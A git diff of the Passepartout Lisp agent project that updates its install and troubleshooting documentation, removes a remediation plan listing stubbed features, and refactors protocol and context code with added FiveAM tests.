||||
3. Interact via the `*passepartout-chat*` buffer.
|
||||
** TUI Commands
|
||||
|
||||
When connected via the TUI, the following commands are available (type them in the input area and press Enter):
|
||||
|
||||
| Command | Action |
|
||||
|-----------------------+--------------------------------------------------------|
|
||||
| ~/help~ | List all available commands |
|
||||
| ~/focus <project>~ | Set the agent's foveal focus to a project by name |
|
||||
| ~/scope memex~ | Set scope to full memex (all projects visible) |
|
||||
| ~/scope session~ | Set scope to current session only |
|
||||
| ~/scope project~ | Set scope to focused project only |
|
||||
| ~/unfocus~ | Clear the foveal focus |
|
||||
| ~/approve HITL-xxxx~ | Approve a pending HITL action by its token |
|
||||
| ~/deny HITL-xxxx~ | Deny a pending HITL action by its token |
|
||||
| ~/theme <name>~ | Switch theme (dark, light, solarized, gruvbox) |
|
||||
| ~/cost~ | Toggle session cost display in status bar |
|
||||
| ~/voice on~ | Enable voice capture (planned v0.7.3) |
|
||||
| ~/voice off~ | Disable voice capture |
|
||||
| ~/quit~ | Save history and exit (planned v0.3.3) |
|
||||
|
||||
For multi-line input, start the line with ~\~ then press Enter to insert a newline without sending.
|
||||
|
||||
** Human-in-the-Loop Approval
|
||||
|
||||
When the Dispatcher blocks a high-risk action (shell command, network call, core file modification), it creates a Flight Plan requiring your approval.
|
||||
|
||||
1. The TUI displays a yellow message: ~→ HITL required: /approve HITL-ab12~
|
||||
2. Review the proposed action in the Dispatcher trace (expand with Tab)
|
||||
3. Type ~/approve HITL-ab12~ to approve, or ~/deny HITL-ab12~ to deny
|
||||
4. Approved actions are re-injected into the pipeline and executed
|
||||
5. Denied actions are discarded and the Dispatcher records the decision as a permanent rule
|
||||
|
||||
Each approval or denial teaches the Dispatcher — the rule counter in the status bar (~[Rules: 47]~) increments with every decision.
|
||||
|
||||
* The Memex Structure
|
||||
Passepartout assumes a local folder structure representing your "Memex".
|
||||
@@ -75,17 +96,31 @@ Passepartout assumes a local folder structure representing your "Memex".
|
||||
The ~configure~ command supports both Debian-based (Ubuntu, Pop, Mint) and Fedora-based (RHEL, Rocky) distributions. It detects your distro automatically and installs the correct packages.
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout.sh configure # interactive
|
||||
./passepartout.sh configure --non-interactive # headless
|
||||
./passepartout.sh configure --with-firewall # also open port 9105
|
||||
./passepartout configure # interactive
|
||||
./passepartout configure --non-interactive # headless
|
||||
./passepartout configure --with-firewall # also open port 9105
|
||||
#+end_src
|
||||
|
||||
After configuration, you can re-run ~configure~ any time to add providers or link gateways.
|
||||
|
||||
** Binary install (save-lisp-and-die)
|
||||
|
||||
For platforms where SBCL cannot be installed (corporate laptops, shared hosts, constrained environments), a self-contained binary is provided:
|
||||
|
||||
#+begin_src bash
|
||||
curl -fsSL https://github.com/amrgharbeia/passepartout/releases/latest/download/passepartout -o passepartout
|
||||
chmod +x passepartout
|
||||
./passepartout daemon
|
||||
#+end_src
|
||||
|
||||
This binary bundles SBCL, all required Lisp code, native embedding inference, and a Swank server on port 4005. The experience is identical to a source install — the REPL is available, skills hot-reload, and the image is mutable. Memory survives snapshots.
|
||||
|
||||
The binary is a convenience for constrained platforms. It is not a sealed container. The system remains constitutionally open — connect with SLIME, trace functions, inspect memory objects, modify the system while it runs.
|
||||
|
||||
** systemd service (auto-start on boot)
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout.sh install service
|
||||
./passepartout install service
|
||||
#+end_src
|
||||
|
||||
Installs a user-level systemd unit that starts the daemon on login. Logs are available via ~journalctl --user -u passepartout.service -f~.
|
||||
@@ -93,7 +128,7 @@ Installs a user-level systemd unit that starts the daemon on login. Logs are ava
|
||||
To remove:
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout.sh uninstall service
|
||||
./passepartout uninstall service
|
||||
#+end_src
|
||||
|
||||
** Docker
|
||||
@@ -110,7 +145,7 @@ This builds an image from ~debian:trixie-slim~ with all dependencies pre-install
|
||||
** Backup
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout.sh backup ~/my-backup.tar.gz
|
||||
./passepartout backup ~/my-backup.tar.gz
|
||||
#+end_src
|
||||
|
||||
Backs up the config, data, and memex directories.
|
||||
@@ -118,7 +153,31 @@ Backs up the config, data, and memex directories.
|
||||
** Restore
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout.sh restore ~/my-backup.tar.gz
|
||||
./passepartout restore ~/my-backup.tar.gz
|
||||
#+end_src
|
||||
|
||||
Restores from a backup file. Run ~passepartout doctor~ afterward to verify integrity.
|
||||
Restores from a backup file. Run ~passepartout doctor~ afterward to verify integrity.
|
||||
|
||||
* Troubleshooting
|
||||
|
||||
** The daemon won't start
|
||||
- Check SBCL is installed: ~which sbcl~
|
||||
- Run ~passepartout doctor~ to diagnose
|
||||
- Check port 9105 is free: ~lsof -i :9105~
|
||||
- Check the log output for errors
|
||||
|
||||
** The TUI connects but shows "Disconnected"
|
||||
- The daemon may have crashed. Run ~passepartout daemon~ in another terminal
|
||||
- If the daemon is running, check it's listening: ~lsof -i :9105~
|
||||
- Use ~/reconnect~ (planned v0.6.0) to reconnect without restarting the TUI
|
||||
|
||||
** The LLM returns garbage or fails to respond
|
||||
- Run ~passepartout doctor~ to verify your LLM provider keys
|
||||
- Check ~PROVIDER_CASCADE~ in your ~.env~ file
|
||||
- Try switching models: edit ~.env~ and restart the daemon
|
||||
- If using local models via Ollama, verify Ollama is running: ~ollama list~
|
||||
|
||||
** Memory fails to load on startup
|
||||
- Check ~/memory.snap~ exists and is valid S-expression format
|
||||
- Run ~passepartout doctor~ to diagnose memory integrity
|
||||
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
|
||||
@@ -1,253 +0,0 @@
|
||||
#+TITLE: v0.2.x Remediation Plan
|
||||
#+AUTHOR:
|
||||
#+STARTUP: content
|
||||
#+FILETAGS: :docs:plan:remediation:
|
||||
|
||||
* Summary
|
||||
|
||||
Features marked DONE in the ROADMAP for v0.1.0 and v0.2.0 but whose implementations
|
||||
are stubs, no-ops, or missing critical functionality. These should have been
|
||||
completed in their respective versions and must be addressed before v0.3.0
|
||||
development proceeds.
|
||||
|
||||
* P0: system-archivist — Proper Distillation and Link Maintenance
|
||||
|
||||
** Claimed status**: =DONE= (v0.1.0: "Scribe + Gardener background workers" + v0.2.0: "31 org files with full literate prose")
|
||||
|
||||
** Actual state**: =archivist-log= is a trivial log wrapper (~10 lines). No knowledge
|
||||
distillation, no broken link detection, no orphaned node flagging.
|
||||
|
||||
** What it should do**:
|
||||
|
||||
*** Scribe (knowledge distillation)
|
||||
1. Read daily Org log files from the Memex =daily/= directory
|
||||
2. Identify new entries (since last processed commit or timestamp)
|
||||
3. Extract conceptual claims, decisions, and atomic facts from prose
|
||||
4. Generate atomic Zettelkasten notes in =notes/= with:
|
||||
- Descriptive snake_case filename (no dates)
|
||||
- =:CREATED:= property from the source log's date
|
||||
- =Source:= backlink to the original daily file and headline
|
||||
- Tags inferred from content and parent file
|
||||
5. Track processed state to avoid re-distilling the same content
|
||||
|
||||
*** Gardener (structural maintenance)
|
||||
1. Scan all Org files in the Memex for broken =[[file:...][...]]= links
|
||||
2. Scan =memory-store= for =memory-object= entries whose =:parent-id= or =:children=
|
||||
references point to deleted objects (orphaned nodes)
|
||||
3. Flag broken links and orphans with =:GARDENER: broken-link= or =:GARDENER: orphan= tags
|
||||
4. Generate a maintenance report as a Org buffer the user can review
|
||||
|
||||
*** Implementation approach
|
||||
- Wire into =system-event-orchestrator= as cron jobs:
|
||||
- Scribe: daily cron (="<%%Y-%%m-%%d %%a +1d>"=, tier =:cognition=)
|
||||
- Gardener: weekly cron (="<%%Y-%%m-%%d %%a +1w>"=, tier =:cognition=)
|
||||
- Use =orchestrator-register-cron= to schedule
|
||||
- Replace the trivial =archivist-log= function with real implementation
|
||||
- Track last-processed state via =memory-store= (:LATEST_PROCESSED_DATETIME property)
|
||||
or git commit hash
|
||||
|
||||
** Dependencies**: =system-event-orchestrator= (cron scheduling), =core-memory= (object store)
|
||||
|
||||
** Verification**: FiveAM test that creates a daily log with known content, runs the
|
||||
Scribe, and asserts that an atomic note was created with correct backlinks.
|
||||
|
||||
* P0: system-self-improve — Surgical Self-Editing and Self-Repair
|
||||
|
||||
** Claimed status**: =DONE= (v0.2.0: "Self-editing (error detection, surgical fix, hot-reload)")
|
||||
|
||||
** Actual state**: =self-improve-edit= does =(declare (ignore old-text new-text))= followed by
|
||||
a log message — no actual text transformation. =self-improve-fix= same pattern.
|
||||
The skill's trigger is =nil= so it never fires.
|
||||
|
||||
** What it should do**:
|
||||
|
||||
*** Self-edit (surgical text replacement)
|
||||
1. Accept (=filepath=, =old-text=, =new-text=) and apply the transformation
|
||||
2. Read the file, locate =old-text= (with exact match verification), replace with =new-text=
|
||||
3. If the target is an Org file with a =#+begin_src lisp= block, tangling the file
|
||||
and reloading the skill after edit
|
||||
4. Create a memory snapshot before editing (rollback safety)
|
||||
5. Verify the edit succeeded (re-read file, confirm =new-text= appears)
|
||||
6. Return success/failure with a diff summary
|
||||
|
||||
*** Self-fix (error diagnosis and repair)
|
||||
1. Accept (=skill-name=, =error-log=) and diagnose the failure
|
||||
2. Parse the error log for: syntax errors (unmatched parens, invalid forms),
|
||||
undefined symbol references, semantic issues (prohibited forms)
|
||||
3. For syntax errors: locate the problematic region, propose a correction
|
||||
using structural Lisp knowledge
|
||||
4. For undefined references: check if the symbol exists in another package,
|
||||
if the skill's =#+DEPENDS_ON:= declaration is missing a dependency
|
||||
5. For semantic issues: identify the prohibited operation and suggest alternatives
|
||||
6. Invoke =self-improve-edit= to apply the fix
|
||||
7. After repair, run the skill's tests if they exist; if tests pass, hot-reload
|
||||
|
||||
*** Implementation approach
|
||||
- Add an actual =:trigger= function that activates on =:ERROR= or =:STUCK= signal types
|
||||
- =self-improve-edit=: use =uiop:read-file-string=, string replacement with
|
||||
=ppcre:regex-replace= or substring operations, write back with =with-open-file=
|
||||
- =self-improve-fix=: add structural analysis in =programming-lisp.lisp= for error parsing
|
||||
- Leverage the REPL skill for verification after repair (call =lisp-eval= on the fixed code block)
|
||||
|
||||
** Dependencies**: =programming-lisp= (lisp-structural-check), =programming-org= (tangling),
|
||||
=core-memory= (snapshot-memory), =core-skills= (jailed reload)
|
||||
|
||||
** Verification**: FiveAM test that creates a file with known content, calls self-improve-edit,
|
||||
and asserts the replacement was applied. Second test with a file containing a
|
||||
deliberate error, calls self-improve-fix, and asserts the error was corrected.
|
||||
|
||||
* P1: system-event-orchestrator — Bootstrap Implementation
|
||||
|
||||
** Claimed status**: v0.3.0 partially DONE ("hook-registry + cron-registry + tier classifier")
|
||||
|
||||
** Actual state**: Hook/cron registries, tier dispatching, and heartbeat integration work.
|
||||
But =orchestrator-bootstrap= is a stub: =(log-message "ORCHESTRATOR: Bootstrap complete")=
|
||||
|
||||
** What it should do**:
|
||||
|
||||
1. Scan the Memex =projects/= and =notes/= directories for Org files containing =#+HOOK:= properties
|
||||
2. For each =#+HOOK:= property found, call =orchestrator-register-hook= with
|
||||
the hook name and a gate function
|
||||
3. For files with =#+CRON:= properties (or cron expressions in timestamps),
|
||||
register them via =orchestrator-register-cron=
|
||||
4. Log the count of registered hooks and cron jobs at completion
|
||||
5. Run bootstrap once at startup (after memory is loaded but before cognitive loop begins)
|
||||
|
||||
*** Implementation approach
|
||||
- Use =uiop:directory-files= with glob patterns for =*.org= files
|
||||
- Use =org-element= from Emacs (via =emacs-bridge= or =org-eval= skill) for parsing,
|
||||
or implement a simple regex-based Org property parser in Lisp
|
||||
- Walk each file's headlines, extract property drawers, filter for =HOOK:= and =CRON:= keys
|
||||
- Call existing =orchestrator-register-hook= / =orchestrator-register-cron=
|
||||
|
||||
** Dependencies**: =programming-org= (Org file parsing), file system access
|
||||
|
||||
** Verification**: Create a test Org file with =#+HOOK: on-write=, run bootstrap,
|
||||
assert the hook registry contains the expected entry.
|
||||
|
||||
* P1: system-memory — Memory Introspection
|
||||
|
||||
** Claimed status**: Skill exists but was never part of a version milestone.
|
||||
|
||||
** Actual state**: =memory-inspect= is a no-op: =(log-message "MEMORY: Self-inspection triggered.")=
|
||||
The =:trigger= is =nil= so the skill never activates.
|
||||
|
||||
** What it should do**:
|
||||
|
||||
1. Return a structured report of memory state:
|
||||
- Total objects in =*memory-store*=
|
||||
- Distribution by type (=:HEADLINE=, =:PARAGRAPH=, etc.)
|
||||
- Distribution by =:TODO-STATE= (=TODO=, =NEXT=, =DONE=, etc.)
|
||||
- Count of privacy-filtered objects
|
||||
- Most recent objects (by =:version= timestamp)
|
||||
- Current snapshot count and timestamps
|
||||
- Orphaned objects (parent-id references a deleted ID)
|
||||
2. Accept an optional filter to narrow the report (by type, by tag, by time range)
|
||||
3. Wire the trigger to activate on =:INTROSPECTION= signal type or =/memory= commands
|
||||
|
||||
*** Implementation approach
|
||||
- Iterate =*memory-store*= with =maphash=, collect statistics
|
||||
- Add to skill trigger: =(eq (getf (getf ctx :payload) :sensor) :introspection)=
|
||||
- Return results as a plist that can be rendered in the TUI
|
||||
|
||||
** Dependencies**: =core-memory= (memory-store and memory-object struct)
|
||||
|
||||
** Verification**: Ingest known objects, call memory-inspect, assert type counts and
|
||||
object counts match.
|
||||
|
||||
* P2: core-context — Semantic Retrieval (Embeddings)
|
||||
|
||||
** Claimed status**: The foveal-peripheral model is implemented and tested, but the
|
||||
embedding pipeline that feeds it is listed as TODO for v0.3.0.
|
||||
|
||||
** Actual state**: The context rendering code (=context-object-render=) computes
|
||||
=cosine-similarity= correctly, but =org-object-vector= is never populated.
|
||||
All objects have =nil= vectors, all similarities are =0.0=, and the model
|
||||
falls back to "include everything within depth 2." This is functionally
|
||||
equivalent to no retrieval at all.
|
||||
|
||||
** What it should do**:
|
||||
|
||||
1. Add a =populate-vector= function to =core-memory= that calls an embedding
|
||||
provider and stores the result in the =memory-object= =:vector= slot
|
||||
2. At ingest time (=ingest-ast=), generate embeddings for new objects
|
||||
3. Embedding provider options (in priority order):
|
||||
- Ollama (local, =nomic-embed-text= or =mxbai-embed-large=)
|
||||
- OpenAI-compatible embedding API (=text-embedding-3-small=)
|
||||
- Fallback: TF-IDF bag-of-words vector (no external dependency)
|
||||
4. Updates: when =memory-object= content changes, mark =:vector= as =:pending=
|
||||
and process in a background batch via the event orchestrator
|
||||
5. Add an environment variable =EMBEDDING_PROVIDER= with default =ollama=
|
||||
|
||||
*** Implementation approach
|
||||
- Add an =:embedding-provider= function stored in =*config*=
|
||||
- =embed-object=: take content string → call provider → store float vector
|
||||
- Modify =ingest-ast= to call =embed-object= on each new object
|
||||
- Add batch processing in =system-event-orchestrator= for vector updates
|
||||
- Use =bordeaux-threads= with a lock for async embedding generation
|
||||
|
||||
** Dependencies**: External embedding provider (Ollama or API), =core-memory= (vector slot)
|
||||
|
||||
** Verification**: Create objects with content, run embedding pipeline, assert vectors
|
||||
are non-nil and have the correct dimensionality. Verify that =cosine-similarity=
|
||||
between semantically similar objects exceeds 0.75 threshold.
|
||||
|
||||
* P2: core-context — Subtree-Based Skill Source Loading
|
||||
|
||||
** Claimed status**: DESIGN_DECISIONS §"Org-Mode as Unified AST" describes: "When the
|
||||
agent needs information about the =openctl-db= function, it queries for the
|
||||
=openctl-db= subtree specifically."
|
||||
|
||||
** Actual state**: =context-skill-source= reads the ENTIRE Org file as a string via
|
||||
=uiop:read-file-string=. No subtree query exists.
|
||||
|
||||
** What it should do**:
|
||||
|
||||
1. Add a =context-skill-subtree= function that takes (=skill-name=, =heading-name=)
|
||||
and returns only the content under that headline
|
||||
2. Add a =context-skill-function-signature= function that returns only the function
|
||||
name, lambda list, and docstring
|
||||
3. Add a =context-skill-tests= function that returns only test blocks
|
||||
4. Modify =context-skill-source= to optionally accept a =:subtree= keyword argument
|
||||
5. If the Org file has an Org-element parser available, use it for structural queries;
|
||||
otherwise fall back to regex-based headline matching
|
||||
|
||||
*** Implementation approach
|
||||
- Use =org-element= via =org-eval= skill (REPL bridge to Emacs) if available
|
||||
- Lisp-native fallback: parse Org headlines with regex (=^*+ = pattern),
|
||||
match heading name by string comparison, extract content until next
|
||||
headline of equal or higher level
|
||||
- Cache parsed results to avoid re-parsing on repeated queries
|
||||
|
||||
** Dependencies**: =programming-org= (Org parsing utilities), =emacs-bridge= (if Emacs
|
||||
Org-element is preferred)
|
||||
|
||||
** Verification**: Create a test Org file with multiple headlines, query for a specific
|
||||
subtree, assert only that subtree's content is returned.
|
||||
|
||||
* Priority and Sequencing
|
||||
|
||||
The remediation should proceed in this order:
|
||||
|
||||
1. **system-event-orchestrator bootstrap** (P1) — needed as infrastructure for Scribe/Gardener cron scheduling
|
||||
2. **system-archivist** (P0) — depends on orchestrator for cron scheduling
|
||||
3. **system-self-improve** (P0) — independent, can proceed in parallel with #2
|
||||
4. **core-context embeddings** (P2) — independent, unlocks semantic retrieval
|
||||
5. **core-context subtree loading** (P2) — independent, improves context efficiency
|
||||
6. **system-memory inspect** (P1) — lowest priority, nice-to-have introspection
|
||||
|
||||
P0 items must be completed before v0.3.0 development begins. P1 items should be
|
||||
completed before v0.3.0 is released. P2 items can extend into early v0.3.0.
|
||||
|
||||
* Out of Scope
|
||||
|
||||
Features listed as TODO in the ROADMAP for v0.3.0+ are NOT in this remediation
|
||||
plan. Specifically excluded:
|
||||
|
||||
- HITL continuation-based suspension (v0.3.0 TODO)
|
||||
- Model-tier routing / cost optimization (v0.3.0 TODO)
|
||||
- Memory scope segmentation (v0.3.0 TODO)
|
||||
- Long-horizon planning / task trees (v0.4.0 TODO)
|
||||
- Shadow simulation mode (not on roadmap, aspirational)
|
||||
- Formal verification of dispatcher rules (not on roadmap, aspirational)
|
||||
- Bouncer rule learning from HITL decisions (not on roadmap, aspirational)
|
||||
@@ -1,9 +1,17 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun proto-get (plist key)
|
||||
"Look up KEY in PLIST with case-insensitive keyword normalization."
|
||||
(let ((key-upcase (string-upcase (string key))))
|
||||
(loop for (k v) on plist by #'cddr
|
||||
when (and (keywordp k)
|
||||
(string-equal (string k) key-upcase))
|
||||
do (return v))))
|
||||
|
||||
(defvar *actuator-registry* (make-hash-table :test 'equalp)
|
||||
"Global registry mapping target keywords to their physical actuator functions.")
|
||||
|
||||
(defun actuator-register (name fn)
|
||||
(defun register-actuator (name fn)
|
||||
"Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
|
||||
(let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
|
||||
(setf (gethash key *actuator-registry*) fn)))
|
||||
@@ -54,7 +62,7 @@
|
||||
(let ((stream (usocket:socket-stream socket)))
|
||||
(handler-case
|
||||
(progn
|
||||
(format stream "~a" (frame-message (make-hello-message "0.2.0")))
|
||||
(format stream "~a" (frame-message (make-hello-message "0.3.0")))
|
||||
(finish-output stream)
|
||||
(loop
|
||||
(let ((msg (read-framed-message stream)))
|
||||
@@ -71,7 +79,7 @@
|
||||
nil))))
|
||||
(format stream "~a" (frame-message health-msg))
|
||||
(finish-output stream)))
|
||||
(t (inject-stimulus msg :stream stream))))))
|
||||
(t (stimulus-inject msg :stream stream))))))
|
||||
(error (c) (log-message "CLIENT ERROR: ~a" c)))
|
||||
(ignore-errors (usocket:socket-close socket))))
|
||||
|
||||
@@ -105,6 +113,10 @@
|
||||
(error "Invalid message type '~a'" type))
|
||||
t))
|
||||
|
||||
(defun validate-communication-protocol-schema (msg)
|
||||
"Backward-compatibility alias for protocol-schema-validate."
|
||||
(protocol-schema-validate msg))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -117,6 +129,33 @@
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
|
||||
@@ -1,21 +1,27 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun context-query (&key tag todo-state type)
|
||||
"Filters the Memory based on tags, todo states, or types."
|
||||
(defun context-query (&key tag todo-state type scope)
|
||||
"Filters the Memory based on tags, todo states, or types.
|
||||
Optional SCOPE restricts results to objects with that scope
|
||||
or :memex (global scope always visible)."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let* ((attrs (org-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
(when (and type (not (eq (org-object-type obj) type))) (setf match nil))
|
||||
(let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
;; Scope filter: if scope specified, only match :memex (global) or same scope
|
||||
(when (and scope (not (eq (memory-object-scope obj) :memex))
|
||||
(not (eq (memory-object-scope obj) scope)))
|
||||
(setf match nil))
|
||||
(when (and type (not (eq (memory-object-type obj) type))) (setf match nil))
|
||||
(when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
|
||||
(when (and todo-state (not (equal state todo-state))) (setf match nil))
|
||||
(when match (push obj results))))
|
||||
*memory*)
|
||||
*memory-store*)
|
||||
results))
|
||||
|
||||
(defun context-active-projects ()
|
||||
"Returns headlines tagged as 'project' that are not yet marked DONE."
|
||||
(remove-if (lambda (obj) (equal (getf (org-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(context-query :tag "project" :type :HEADLINE)))
|
||||
|
||||
(defun context-recent-tasks ()
|
||||
@@ -28,7 +34,7 @@
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
|
||||
*skills-registry*)
|
||||
*skill-registry*)
|
||||
(sort results #'> :key (lambda (x) (getf x :priority)))))
|
||||
|
||||
(defun context-skill-source (skill-name)
|
||||
@@ -37,27 +43,42 @@
|
||||
(data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
|
||||
(org-dir (merge-pathnames "org/" data-dir))
|
||||
(full-path (merge-pathnames filename org-dir)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
|
||||
(defun context-skill-subtree (skill-name heading-name)
|
||||
"Reads a specific headline subtree from a skill's Org source file.
|
||||
Returns the content under HEADING-NAME (including children) as a string,
|
||||
or nil if the heading is not found."
|
||||
(let ((full-source (context-skill-source skill-name)))
|
||||
(unless full-source (return-from context-skill-subtree nil))
|
||||
(if (fboundp 'org-subtree-extract)
|
||||
(org-subtree-extract full-source heading-name)
|
||||
;; Fallback: no org-subtree-extract available, return full source
|
||||
full-source)))
|
||||
|
||||
(defun context-logs (&optional limit)
|
||||
"Retrieves the most recent lines from the harness's internal log."
|
||||
(let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
|
||||
(bt:with-lock-held (*logs-lock*)
|
||||
(let ((count (min log-limit (length *system-logs*))))
|
||||
(subseq *system-logs* 0 count)))))
|
||||
(bt:with-lock-held (*log-lock*)
|
||||
(let ((count (min log-limit (length *log-buffer*))))
|
||||
(subseq *log-buffer* 0 count)))))
|
||||
|
||||
(defun context-get-system-logs (&optional limit)
|
||||
"Backward-compatibility alias for context-logs."
|
||||
(context-logs limit))
|
||||
|
||||
(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
|
||||
"Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
|
||||
(let* ((id (org-object-id obj))
|
||||
(let* ((id (memory-object-id obj))
|
||||
(is-foveal (equal id foveal-id))
|
||||
(title (or (getf (org-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (org-object-content obj))
|
||||
(children (org-object-children obj))
|
||||
(title (or (getf (memory-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (memory-object-content obj))
|
||||
(children (memory-object-children obj))
|
||||
(stars (make-string depth :initial-element #\*))
|
||||
(obj-vector (org-object-vector obj))
|
||||
(obj-vector (memory-object-vector obj))
|
||||
(threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
|
||||
(similarity (if (and foveal-vector obj-vector (not is-foveal))
|
||||
(cosine-similarity foveal-vector obj-vector)
|
||||
(vector-cosine-similarity foveal-vector obj-vector)
|
||||
0.0))
|
||||
(is-semantically-relevant (>= similarity threshold))
|
||||
(should-render (or (<= depth 2) is-foveal is-semantically-relevant))
|
||||
@@ -73,7 +94,7 @@
|
||||
(setf output (concatenate 'string output content (string #\Newline))))
|
||||
|
||||
(dolist (child-id children)
|
||||
(let ((child-obj (lookup-object child-id)))
|
||||
(let ((child-obj (memory-object-get child-id)))
|
||||
(when child-obj
|
||||
(let ((next-foveal (if is-foveal child-id foveal-id)))
|
||||
(setf output (concatenate 'string output
|
||||
@@ -100,7 +121,7 @@
|
||||
|
||||
(defun context-privacy-filtered-p (obj)
|
||||
"Returns T if an org-object's :TAGS attribute matches bouncer-privacy-tags."
|
||||
(let* ((attrs (org-object-attributes obj))
|
||||
(let* ((attrs (memory-object-attributes obj))
|
||||
(tags (getf attrs :TAGS))
|
||||
(privacy-tags (and (find-package :passepartout.security-dispatcher)
|
||||
(symbol-value
|
||||
@@ -130,6 +151,9 @@ Privacy-filtered objects (matching bouncer-privacy-tags) are excluded."
|
||||
(setf output (concatenate 'string output "No active projects found.~%")))
|
||||
output))
|
||||
|
||||
(defun context-assemble-global-awareness ()
|
||||
(context-awareness-assemble))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -142,7 +166,8 @@ Privacy-filtered objects (matching bouncer-privacy-tags) are excluded."
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
(clrhash passepartout::*memory*)
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
@@ -155,9 +180,28 @@ Privacy-filtered objects (matching bouncer-privacy-tags) are excluded."
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
(clrhash passepartout::*memory*)
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
|
||||
@@ -3,78 +3,97 @@
|
||||
(:export
|
||||
#:frame-message
|
||||
#:read-framed-message
|
||||
#:PROTO-GET
|
||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||
#:COSINE-SIMILARITY
|
||||
#:VAULT-MASK-STRING
|
||||
#:PROTO-GET
|
||||
#:proto-get
|
||||
#:*VAULT-MEMORY*
|
||||
#:parse-message
|
||||
#:make-hello-message
|
||||
